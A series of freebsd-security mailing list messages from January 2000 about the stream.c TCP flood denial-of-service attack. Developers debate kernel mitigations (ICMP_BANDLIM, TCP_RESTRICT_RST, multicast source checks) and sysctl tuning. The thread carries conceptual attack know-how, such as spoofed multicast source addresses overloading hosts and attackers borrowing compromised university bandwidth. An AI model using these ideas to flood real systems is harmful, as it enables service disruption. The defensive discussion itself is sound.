message From owner-freebsd-security Fri Jan 21 16:46:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 7E499156C9 for ; Fri, 21 Jan 2000 16:46:31 -0800 (PST) (envelope-from mike@sentex.net) Received: from p10 (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.9.3/8.9.3) with SMTP id TAA78501 for ; Fri, 21 Jan 2000 19:46:28 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.20000121194127.0568c220@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Fri, 21 Jan 2000 19:45:12 -0500 To: freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: finding 'attack platforms' (was Re: Some observations on stream.c and streamnt.c) In-Reply-To: <200001212349.PAA64869@apollo.backplane.com> References: <200001212258.OAA64329@apollo.backplane.com> <20000121171759.D56672@baileylink.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:49 PM 1/21/00 , Matthew Dillon wrote: > Every time a new hole is found, ISPs have to run to get it closed. The The closest call we had was the qpopper bug a few summers back. 6hrs after the bugtraq post, and 2hrs just after I had patched our pop3 server, we were getting attempts on the order of 4 to 5 a day from different locations. Its a nasty race :-( ---Mike ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 16:57:56 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1E015155A9 for ; Fri, 21 Jan 2000 16:57:53 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA26745; Fri, 21 Jan 2000 17:57:39 -0700 (MST) Message-Id: <4.2.2.20000121174940.019bd1a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 17:51:26 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Warner Losh , Darren Reed , security@FreeBSD.ORG In-Reply-To: <200001220035.QAA65392@apollo.backplane.com> References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 05:35 PM 1/21/2000 , Matthew Dillon wrote: > I wouldn't worry about multicast addresses for several reasons. First, very > few machines actually run a multicast router. No router, no problem. I'm not so sure. Using a multicast address as the source address for an attack (like this one) does seem to be tying systems up into little tiny pretzel knots as they try to send RSTs to those addresses. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17: 4:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 46F0715641 for ; Fri, 21 Jan 2000 17:04:16 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id UAA46711; Fri, 21 Jan 2000 20:04:09 -0500 (EST) (envelope-from wollman) Date: Fri, 21 Jan 2000 20:04:09 -0500 (EST) From: Garrett Wollman Message-Id: <200001220104.UAA46711@khavrinen.lcs.mit.edu> To: Brad Guillory Cc: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <20000121171759.D56672@baileylink.net> References: <200001212258.OAA64329@apollo.backplane.com> <20000121171759.D56672@baileylink.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > I don't understand how a "script kiddie" is going to garner the bandwidth > to run an attack into the multi-megabit range. By breaking into a poorly-administered Linux cluster at some University site with Internet2 connectivity. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17: 5:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id A4BBE1501C for ; Fri, 21 Jan 2000 17:05:35 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id UAA07693; Fri, 21 Jan 2000 20:05:07 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 20:05:07 -0500 From: Jared Mauch To: Brett Glass Cc: Don Lewis , Jared Mauch , Wes Peters , TrouBle , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121200507.D4055@puck.nether.net> Mail-Followup-To: Brett Glass , Don Lewis , Wes Peters , TrouBle , security@FreeBSD.ORG References: <200001212350.PAA14888@salsa.gv.tsc.tdk.com> <4.2.2.20000121170250.01986ea0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.20000121170250.01986ea0@localhost>; from brett@lariat.org on Fri, Jan 21, 2000 at 05:44:48PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 05:44:48PM -0700, Brett Glass wrote: > At 04:50 PM 1/21/2000 , Don Lewis wrote: > > >I'm tempted to move the existing multicast tests up to the top > >of tcp_input() and check the source address as well. I just hate > >to add extra code to the main code path, though. > > Checking the source address early would not hurt, since > it seems to be done so much anyway. Go to the /sys/netinet > directory and do a "grep IN_MULTICAST *" to see what I > mean! > > In fact, the number of scattered tests makes a strong argument > for doing this check lower down in the stack and setting > a flag. It might also prevent other problems if multicast > packets were intercepted before they were ever passed to > non-multicast protocols. I'd hate to see an attack based > on, for example, sending ICMP packets to or from a multicast > source address (shudder). IMHO this should be available, but restricted as it is a brodcast (multicast) ping, not just a ping against a host. I may want to ping 224.0.0.5 and if I'm running gated on a freebsd box, I want it to respond. - jared -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17: 7:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 5494F156C8 for ; Fri, 21 Jan 2000 17:07:28 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id UAA46722; Fri, 21 Jan 2000 20:07:23 -0500 (EST) (envelope-from wollman) Date: Fri, 21 Jan 2000 20:07:23 -0500 (EST) From: Garrett Wollman Message-Id: <200001220107.UAA46722@khavrinen.lcs.mit.edu> To: Mitch Collinsworth Cc: Brad Guillory , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <200001212348.SAA06856@benge.graphics.cornell.edu> References: <20000121171759.D56672@baileylink.net> <200001212348.SAA06856@benge.graphics.cornell.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > Things have slowed down a bit lately but for a while we[1] were being > port scanned almost daily from one corner of the net or another. You're only being port-scanned daily? -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17: 8:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 115E2156F5 for ; Fri, 21 Jan 2000 17:08:42 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id UAA07744; Fri, 21 Jan 2000 20:08:29 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 20:08:29 -0500 From: Jared Mauch To: Matthew Dillon Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121200829.E4055@puck.nether.net> Mail-Followup-To: Matthew Dillon , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200001220035.QAA65392@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 04:35:44PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 04:35:44PM -0800, Matthew Dillon wrote: > > :> RST cases but the above two cases usually handle the vast majority of > :> these sorts of attacks so if this exploit code is stopped cold by ICMP_BANDLIM, > :> we're done. If it isn't then we spend a few seconds extending the cases > :> covered by ICMP_BANDLIM and we are done. > : > :I'd certainly like to see this extended to RST. We can optimize socket searching > :and prevent TCP from sending RSTs (or anything!) to multicast addresses at the > :same time. (We probably also want to block RECEIVED TCP packets from multicast > :addresses, as Wes suggests.) > : > :--Brett > > I wouldn't worry about multicast addresses for several reasons. First, very > few machines actually run a multicast router. No router, no problem. Second, > multicast tunnels tend to be bandwidth limited anyway. Third, from the point > of view of victimizing someone multicast isn't going to get you very far > because we already check for a multicast destination. We don't really need > to check for a multicast source because it's really no different from a > victimizing point of view as a non-multicast source address. > > -Matt > Matthew Dillon I currently show 69695 prefixes on the internet. of those, 7366 are currently multicast capable, which is 10.5%. I take some issue with your statement, as more hosts are currently connected than ever before, and I see it increase daily. I doubt it will reach 100% anytime soon, but it's far more deployed than it has ever been, and continues to be deployed. Attacks related to multicast connectivity need to be taken into account. - Jared -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17:16: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 112C414BCE for ; Fri, 21 Jan 2000 17:16:00 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA65781; Fri, 21 Jan 2000 17:15:57 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 17:15:57 -0800 (PST) From: Matthew Dillon Message-Id: <200001220115.RAA65781@apollo.backplane.com> To: "Bob Madden" Cc: "FreeBSD-Security" Subject: Re: Some observations on stream.c and streamnt.c References: <038801bf645c$ed6d5f00$01000000@madman> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :I believe this to be true. Realize that in a real world attack, the attack :most likely originates from more than one source AND it continues for a good :hour or so or however long it takes to crash the box. But it DOES crash the :box. My experience is with FreeBSD, but as has been suggested/demonstrated it :has similar effects on other platforms. : :Bob Madden If the attack doesn't take down your machine in the first 60 seconds then the failure condition may not be where you are looking for it. The first thing I would check would be to make sure that you are restricting the tcp connection resources. net.inet.tcp.sendspace and net.inet.tcp.recvspace should be left at their default 16384 or perhaps made smaller. See if connections are building up (netstat -tn | wc -l) during the attack. If the build up forever that may be the source of the mbuf exhaustion. Another possibility is that your machine's route table is being blown up by the spoofed packets. Each spoofed packet has a different source address which means that a temporary route table entry is being created for each one. These entries take time to timeout. Use 'vmstat -m' and check the 'routetbl' field while the attack is going on. (Wasn't there a route table leak that we fixed in -current? Was that ever backported to -stable?). Route table entries can be controlled somewhat with: test3:/var/mail# sysctl -a | fgrep .rt net.inet.ip.rtexpire: 3600 net.inet.ip.rtminexpire: 10 net.inet.ip.rtmaxcache: 128 Do the following: sysctl -w net.inet.ip.rtexpire=2 sysctl -w net.inet.ip.rtminexpire=2 In your case it is not the packet attack itself which is causing you to crash - your machine is able to handle that just fine if it stays up for an hour. The problem is probably some side effect of the packet attack. We have to figure out what that side effect is so it can be addressed. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17:18:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 67D0E14D4F for ; Fri, 21 Jan 2000 17:18:19 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA65802; Fri, 21 Jan 2000 17:18:17 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 17:18:17 -0800 (PST) From: Matthew Dillon Message-Id: <200001220118.RAA65802@apollo.backplane.com> To: Jared Mauch Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <20000121200829.E4055@puck.nether.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : I currently show 69695 prefixes on the internet. of those, :7366 are currently multicast capable, which is 10.5%. : : I take some issue with your statement, as more hosts are currently :connected than ever before, and I see it increase daily. I doubt it will :reach 100% anytime soon, but it's far more deployed than it has ever :been, and continues to be deployed. Attacks related to multicast connectivity :need to be taken into account. : : - Jared : :-- :Jared Mauch | pgp key available via finger from jared@puck.nether.net :clue++; | http://puck.nether.net/~jared/ My statements are only mine. There are two waring multicast protocols... the one originally designed for BSD (mrouted), and Cisco's more modern mcast protocols. Until the protocols are reconciled you aren't going to be seeing much in the way of high-bandwidth multicasting. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17:36:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 106C215026 for ; Fri, 21 Jan 2000 17:36:24 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 59540 invoked from network); 21 Jan 2000 20:38:38 -0000 Received: from missnglnk.wants.to-fuck.com (HELO hydrant.intranova.net) (user82595@209.201.95.10) by blacklisted.intranova.net with SMTP; 21 Jan 2000 20:38:38 -0000 Date: Fri, 21 Jan 2000 20:35:06 -0500 (EST) From: Omachonu Ogali To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths In-Reply-To: <4.2.2.20000121140941.01a68b30@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Heh, you sound like a lawyer now. Omachonu Ogali Intranova Networking Group On Fri, 21 Jan 2000, Brett Glass wrote: > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > >Be warned if you're using the exploit program: if you select random > >addresses, it may (will) pick multicast IP addresses, which may have > >unintended side affects on your network. Augh! > > Geeze. Is it even LEGAL to ACK multicast packets? > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 17:44:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id CE70414F87 for ; Fri, 21 Jan 2000 17:44:20 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA27231; Fri, 21 Jan 2000 18:44:15 -0700 (MST) Message-Id: <4.2.2.20000121184351.019a9220@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 18:44:06 -0700 To: Omachonu Ogali From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: References: <4.2.2.20000121140941.01a68b30@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:35 PM 1/21/2000 , Omachonu Ogali wrote: >Heh, you sound like a lawyer now. So sue me.... ;-) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 18:16:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 3498D14DCB for ; Fri, 21 Jan 2000 18:16:14 -0800 (PST) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id DAA32604; Sat, 22 Jan 2000 03:16:07 +0100 (CET) (envelope-from des@flood.ping.uio.no) To: Keith Stevenson Cc: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> From: Dag-Erling Smorgrav Date: 22 Jan 2000 03:16:07 +0100 In-Reply-To: Keith Stevenson's message of "Fri, 21 Jan 2000 16:27:57 -0500" Message-ID: Lines: 19 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Keith Stevenson writes: > I was very happy with my FreeBSD servers. All are 3.4-STABLE with > options "ICMP_BANDLIM" in the kernel. One of the machines I tested had > TCP_RESTRICT_RST enabled. > > The ICMP_BANDLIM seemed to be the life saver. I got tons of > "icmp-response bandwidth limit" messages in my syslog, but the load didn't > climb and I was still able to provide network services from the target host. > The machine which was running TCP_RESTRICT_RST in addition to ICMP_BANDLIM > behaved exactly like the one without TCP_RESTRICT_RST. That's because the ICML_BANDLIM code comes *before* the TCP_RESTRICT_RST code, and costs more to run. A kernel with TCP_RESTRICT_RST but no ICMP_BANDLIM will fare better than a kernel with ICMP_BANDLIM. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 18:17:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 9A54715183 for ; Fri, 21 Jan 2000 18:17:29 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id SAA24083; Fri, 21 Jan 2000 18:15:39 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id SAA27909; Fri, 21 Jan 2000 18:15:39 -0800 Received: from softweyr.com (dyn1.utah.xylan.com [198.206.184.237]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id SAA17315; Fri, 21 Jan 2000 18:14:16 -0800 (PST) Message-ID: <388913CF.DE7F4B0B@softweyr.com> Date: Fri, 21 Jan 2000 19:19:59 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Matthew Dillon , Alfred Perlstein , Brett Glass , security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <7192.948496931@critter.freebsd.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Poul-Henning Kamp wrote: > > In message <200001212311.PAA64559@apollo.backplane.com>, Matthew Dillon writes: > > > No, this is far too dangerous. If a packet is bad due to being > > corrupted then you want to throw it away (via the checksum check) > > *BEFORE* you start messing around with the socket state. Otherwise > > a perfectly legitimate packet that got corrupted in transit may > > cause a disconnect or other failure. > > It makes a lot of sense to do cheap (relative to the checksum) > checks on the packet before we do the checksum, as long as we > don't modify any state before the checksum is validated. > > If it is cheaper to try to locate the pcb, than to calculate the > checksum, the locate the pcb first and drop the packet before > doing the checksum. Except you may get a false match on a garbled packet, that just happened to get garbled to match a different connection. The checksum is done first to avoid such situations. Until the packet has been verified good, none of the data in it can be trusted. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 18:35: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 22C70156D6 for ; Fri, 21 Jan 2000 18:35:04 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id TAA27787; Fri, 21 Jan 2000 19:34:48 -0700 (MST) Message-Id: <4.2.2.20000121193053.0198aec0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 19:34:47 -0700 To: Wes Peters , Poul-Henning Kamp From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Matthew Dillon , Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <388913CF.DE7F4B0B@softweyr.com> References: <7192.948496931@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:19 PM 1/21/2000 , Wes Peters wrote: > > If it is cheaper to try to locate the pcb, than to calculate the > > checksum, the locate the pcb first and drop the packet before > > doing the checksum. > >Except you may get a false match on a garbled packet, that just happened >to get garbled to match a different connection. The checksum is done >first to avoid such situations. Until the packet has been verified good, >none of the data in it can be trusted. Which checksum? The checksum for the header of an IP packet is distinct from the checksum of the TCP payload it may carry. So, once you've verified the checksum on the header, you CAN trust the source and destination addresses, option flags, etc. You just can't trust the payload yet. You can defer the TCP checksum until it's time to use the payload. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 18:45:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 68A6E150B2 for ; Fri, 21 Jan 2000 18:45:14 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA66403; Fri, 21 Jan 2000 18:45:07 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 18:45:07 -0800 (PST) From: Matthew Dillon Message-Id: <200001220245.SAA66403@apollo.backplane.com> To: Dag-Erling Smorgrav Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :That's because the ICML_BANDLIM code comes *before* the :TCP_RESTRICT_RST code, and costs more to run. A kernel with :TCP_RESTRICT_RST but no ICMP_BANDLIM will fare better than a kernel :with ICMP_BANDLIM. : :DES :-- :Dag-Erling Smorgrav - des@flood.ping.uio.no I'm sorry, but this is just plain wrong. First you are counting a few extra instructions and coming to the conclusion that, somehow, this magically makes TCP_RESTRICT_RST a better option because its 'faster'. Oh please, give me a break. Nobody is going to notice a few extra instructions per packet. Faster does not mean better. Second, you purport that TCP_RESTRICT_RST is a better solution. I'll tell you something about TCP_RESTRICT_RST: It's garbage. It should never have been committed into the tree. It takes out *EVERY* single goddamn RST response in the entire TCP input chain, even the ones that couldn't possibly be related to an attack. It does it *all the time*, whether the machine is under attack or not. It is not something I would ever, *EVER* turn on in any kernel I ever construct, and it is not something any sysadmin with any brains should use. It lobotomizes an important part of the TCP protocol for no good reason.... it's someone's quick fix to a problem that already had a better solution if they had bothered to read the code more carefully. ICMP_BANDLIM is a much, much better solution and applying it to the relatively few TCP RST cases that can become a bandwidth problem due to an attack is trivial. The extra couple of instructions - there to prevent it from tearing up the protocol spec - cost us nothing. Zilch. Nil. Nada. TCP_RESTRICT_RST gleefully screws with the protocol spec, ICMP_BANDLIM picks its fights more carefully and can trivially be extended to cover the relatively few additional TCP RST cases that might conceivably cause a problem. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 18:47:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id B90E8157C0 for ; Fri, 21 Jan 2000 18:47:49 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id SAA17045; Fri, 21 Jan 2000 18:47:29 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id SAA52680; Fri, 21 Jan 2000 18:47:28 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id SAA15469; Fri, 21 Jan 2000 18:47:28 -0800 (PST) Message-Id: <200001220247.SAA15469@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 18:47:27 -0800 In-Reply-To: Wes Peters "Re: stream.c worst-case kernel paths" (Jan 21, 7:19pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Wes Peters , Poul-Henning Kamp Subject: Re: stream.c worst-case kernel paths Cc: Matthew Dillon , Alfred Perlstein , Brett Glass , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 7:19pm, Wes Peters wrote: } Subject: Re: stream.c worst-case kernel paths } Poul-Henning Kamp wrote: } > } > In message <200001212311.PAA64559@apollo.backplane.com>, Matthew Dillon writes: } > } > > No, this is far too dangerous. If a packet is bad due to being } > > corrupted then you want to throw it away (via the checksum check) } > > *BEFORE* you start messing around with the socket state. Otherwise } > > a perfectly legitimate packet that got corrupted in transit may } > > cause a disconnect or other failure. } > } > It makes a lot of sense to do cheap (relative to the checksum) } > checks on the packet before we do the checksum, as long as we } > don't modify any state before the checksum is validated. } > } > If it is cheaper to try to locate the pcb, than to calculate the } > checksum, the locate the pcb first and drop the packet before } > doing the checksum. } } Except you may get a false match on a garbled packet, that just happened } to get garbled to match a different connection. The checksum is done } first to avoid such situations. Until the packet has been verified good, } none of the data in it can be trusted. It shouldn't matter if you skip the checksum on any path that doesn't affect the connection state and does a "goto drop". This really doesn't matter, though, if the machine is configured with enough CPU to handle valid packets at wire speed. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19: 8:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id 07012156AC for ; Fri, 21 Jan 2000 19:08:34 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat33.x-treme.gr [212.120.197.225]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id FAA29965; Sat, 22 Jan 2000 05:08:26 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id EAA27380; Sat, 22 Jan 2000 04:41:09 +0200 (EET) 